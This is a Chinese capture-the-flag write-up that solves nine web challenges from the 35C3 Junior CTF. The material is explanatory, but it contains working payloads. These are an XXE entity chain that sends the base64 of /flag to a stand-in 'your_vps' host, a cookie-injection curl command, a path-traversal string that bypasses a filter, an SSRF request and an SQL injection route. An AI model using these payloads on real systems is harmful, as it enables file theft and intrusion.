35C3 Junior CTF WEB题解

文章首发于安全客:35C3 Junior CTF WEB题解

35C3CTF打不动,只好来做做Junior级别的了。

blind

hint:Flag is at /flag
源码

 <?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

可以看到在根据cookie加载主题类的地方没有判断cookie是否被篡改,导致我们可以实例化任意类new $args[0]($args[1], $args[2], $args[3], '');
本以为可以通过魔术方法__autoload来本地包含flag。可是翻阅官方文档发现:自PHP 7.2.0起,此功能已被弃用。
图片.png
通过预留的phpinfo可知题目环境为php7.2。
所以我们只好去寻找内置的php原生类,且该类的实例化参数要与$args[0]($args[1], $args[2], $args[3], '')相对应。
后来发现类SimpleXMLElement符合上述要求。
图片.png
该类的构造函数官方文档
图片.png
因此我们可以通过Blind XXE读取/flag文件
构造exp放到我们的vps上
xxe.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/1.php?file=%file;'>">

监听,然后curl

curl -v --cookie "theme=SimpleXMlElement-http://your_vps/xxe.xml-2-true" "http://35.207.132.47:82"

图片.png
base64解码即可
图片.png

collider

题目描述:Your task is pretty simple: Upload two PDF files. The first should contain the string "NO FLAG!" and the other one "GIVE FLAG!", but both should have the same MD5 hash!
您的任务非常简单:上传两个PDF文件。 第一个应该包含字符串"NO FLAG!"另一个"GIVE FLAG!",但两者都应该有相同的MD5哈希!
源代码中提示My source is at /src.tgz,下载下来
主要代码

<?php
    include_once "config.php";
    if(isset($_POST['submit']))  {
            $pdf1 = $_FILES['pdf1']['tmp_name'];
            $pdf2 = $_FILES['pdf2']['tmp_name'];

            if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) {
                die("The first pdf does not contain 'NO FLAG!'");
            }

            if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) {
                die("The second pdf does not contain 'GIVE FLAG!'");
            }

            if(md5_file($pdf1) != md5_file($pdf2)) {
                die("The MD5 hashes do not match!");
            }

            echo "$FLAG";

    }
?>

哈希碰撞,工具地址:https://github.com/cr-marcstevens/hashclash

flags

hint:Flag is at /flag
源码

<?php
  highlight_file(__FILE__);
  $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  $lang = explode(',', $lang)[0];
  $lang = str_replace('../', '', $lang);
  $c = file_get_contents("flags/$lang");
  if (!$c) $c = file_get_contents("flags/ot");
  echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

$_SERVER['HTTP_ACCEPT_LANGUAGE']注入
图片.png
../被替换为空,可以双写绕过。
payload:..././..././..././..././..././..././..././flag
图片.png
base64解码
图片.png

McDonald

题目描述:Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores...
robots.txt中发现Disallow: /backup/.DS_Store
使用.DS_Store文件泄漏利用脚本
图片.png
找到flag
图片.png

Not(e) accessible

网页源码中提示My source is at /src.tgz
关键源码
app.rb

require 'sinatra'
set :bind, '0.0.0.0'

get '/get/:id' do
    File.read("./notes/#{params['id']}.note")
end

get '/store/:id/:note' do 
    File.write("./notes/#{params['id']}.note", params['note'])
    puts "OK"
end 

get '/admin' do
    File.read("flag.txt")
end

index.php

<?php
    require_once "config.php";

    if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") {
        $note = $_POST['note'];

        if(strlen($note) > 1000) {
            die("ERROR! - Text too long");
        }

        if(!preg_match("/^[a-zA-Z]+$/", $note)) {
            die("ERROR! - Text does not match /^[a-zA-Z]+$/");
        }

        $id = random_int(PHP_INT_MIN, PHP_INT_MAX);
        $pw = md5($note);

        # Save password so that we can check it later
        file_put_contents("./pws/$id.pw", $pw); 

        file_get_contents($BACKEND . "store/" . $id . "/" . $note);

        echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">';
            echo "<p>Your note ID is $id<br>";
            echo "Your note PW is $pw</p>";

            echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>";
        echo '</div>';
    }
?>

view.php

<?php header("Content-Type: text/plain"); ?>
<?php 
    require_once "config.php";
    if(isset($_GET['id']) && isset($_GET['pw'])) {
        $id = $_GET['id'];
        if(file_exists("./pws/" . (int) $id . ".pw")) {
            if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
                echo file_get_contents($BACKEND . "get/" . $id);
            } else {
                die("ERROR!");
            }
        } else {
            die("ERROR!");
        }
    }
?>

app.rb可知,访问/admin/可以拿到flag.txt
id为随机数,pw为所填内容的md5值。
且在读取文件内容时,id没有被强制转换为int,所以我们可以构造注入进行任意文件读取。
图片.png
但是还需要满足两个if条件。我们知道(int)转换时,会转换字符串开头的所有数字,丢弃掉数字后的非数字内容。
图片.png
因此我们构造
echo file_get_contents($BACKEND . "get/your_id/../../admin);即可读到flag。
不过复现的时候题目环境坏了,读不到了。

saltfish

源码

<?php
  require_once('flag.php');
  if ($_ = @$_GET['pass']) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (md5($_) + $_[0] == md5($ua)) {
      if ($_[0] == md5($_[0] . $flag)[0]) {
        echo $flag;
      }
    }
  } else {
    highlight_file(__FILE__);
  }

$_$_ua都可控。我们需要满足两个if条件。
第一个if条件,我们可以令$_为数组,此时md5($_)会返回NULL,然后令$_[0]以字母开头,两者相加会返回0,接着由于是若比较,我们可以令md5($ua)以0e开头,0e==0会返回True。
又因为第二个if条件$_[0]md5($_[0] . $flag)的第一个字符比较,我们令上述的$_[0]为一个md5范围的字母进行爆破即可。
图片.png
图片.png

DB Secret

题目描述 To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server.
提示源码:/pyserver/server.py
漏洞代码

@app.route("/api/getprojectsadmin", methods=["POST"])
def getprojectsadmin():
    # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
    # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
    name = request.cookies["name"]
    token = request.cookies["token"]
    user, username, email, usertype = user_by_token(token)

    json = request.get_json(force=True)
    offset = json["offset"]
    sorting = json["sorting"]

    if name != "admin":
        raise Exception("InvalidUserName")

    sortings = {
        "newest": "created DESC",
        "oldest": "created ASC",
        "lastmodified": "lastModified DESC"
    }
    sql_sorting = sortings[sorting]

    if not offset:
        offset = datetime.datetime.now()

    return jsonify_projects(query_db(
        "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
        "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")

json数据没有经过过滤被直接拼接进sql语句中,因此存在sql注入。
但是还要绕过if name != "admin":,name从cookie中直接获取,因此我们登陆后,把cookie中的name改成admin即可。
图片.png

Localhost

题目描述 We came up with some ingenious solutions to the problem of password reuse. For users, we don't use password auth but send around mails instead. This works well for humans but not for robots. To make test automation possible, we didn't want to send those mails all the time, so instead we introduced the localhost header. If we send a request to our server from the same host, our state-of-the-art python server sets the localhost header to a secret only known to the server. This is bullet-proof, luckily.
提示源码:/pyserver/server.py
搜索localhost可以找到
图片.png
after_request: 每一个请求之后绑定一个函数
由于使用了remote_addr,因此我们无法伪造源ip,只能找一个ssrf的点。
发现/api/proxyimage存在ssrf。

@app.route("/api/proxyimage", methods=["GET"])
def proxyimage():
    url = request.args.get("url", '')
    parsed = parse.urlparse(url, "http")  # type: parse.ParseResult
    if not parsed.netloc:
        parsed = parsed._replace(netloc=request.host)  # type: parse.ParseResult
    url = parsed.geturl()

    resp = requests.get(url)
    if not resp.headers["Content-Type"].startswith("image/"):
        raise Exception("Not a valid image")

    # See https://stackoverflow.com/a/36601467/1345238
    excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]

    response = Response(resp.content, resp.status_code, headers)
    return response

但是限制了请求头种的content-type必须为image/开头。
我们可以ssrf其主页上的图片。
图片.png
payload

curl -v http://35.207.132.47/api/proxyimage?url=http://127.0.0.1:8075/img/paperbots.svg

图片.png

Logged In

题目描述:Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account.
意思就是没有邮件服务器,你无法登陆。所以我们想办法登陆进去即可。
提示 源码/pyserver/server.py
关键源码

@app.route("/api/signup", methods=["POST"])
def signup():
    usertype = "user"
    json = request.get_json(force=True)
    name = escape(json["name"].strip())
    email = json["email"].strip()
    if len(name) == 0:
        raise Exception("InvalidUserName")
    if len(email) == 0:
        raise Exception("InvalidEmailAddress")
    if not len(email.split("@")) == 2:
        raise Exception("InvalidEmailAddress")
    email = escape(email.strip())
    # Make sure the user name is 4-25 letters/digits only.
    if len(name) < 4 or len(name) > 25:
        raise Exception("InvalidUserName")

    if not all([x in string.ascii_letters or x in string.digits for x in name]):
        raise Exception("InvalidUserName")
    # Check if name exists
    if query_db("SELECT name FROM users WHERE name=?", name):
        raise Exception("UserExists")
    if query_db("Select id, name FROM users WHERE email=?", email):
        raise Exception("EmailExists")
    # Insert user // TODO: implement the verification email
    db = get_db()
    c = db.cursor()
    c.execute("INSERT INTO users(name, email, type) values(?, ?, ?)", (name, email, usertype))
    db.commit()
    return jsonify({"success": True})


@app.route("/api/login", methods=["POST"])
def login():
    print("Logging in?")
    # TODO Send Mail
    json = request.get_json(force=True)
    login = json["email"].strip()
    try:
        userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
    except Exception as ex:
        raise Exception("UserDoesNotExist")
    return get_code(name)


@app.route("/api/verify", methods=["POST"])
def verify():
    code = request.get_json(force=True)["code"].strip()
    if not code:
        raise Exception("CouldNotVerifyCode")
    userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
    db = get_db()
    c = db.cursor()
    c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
    token = random_code(32)
    c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
    db.commit()
    name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
    resp = make_response()
    resp.set_cookie("token", token, max_age=2 ** 31 - 1)
    resp.set_cookie("name", name, max_age=2 ** 31 - 1)
    resp.set_cookie("logged_in", LOGGED_IN)
    return resp

根据源码可知,code是随机生成后存在数据库里的。
login最后会调用get_code随机生成code后插入数据库中,并返回code的值。
图片.png
图片.png
我们可以先login随机生成code插入数据库,得到插入的code值,然后调用/api/verify即可。
随便注册一个名字为:qweraaasa,login查看返回包。
图片.png
调用/api/verify验证
图片.png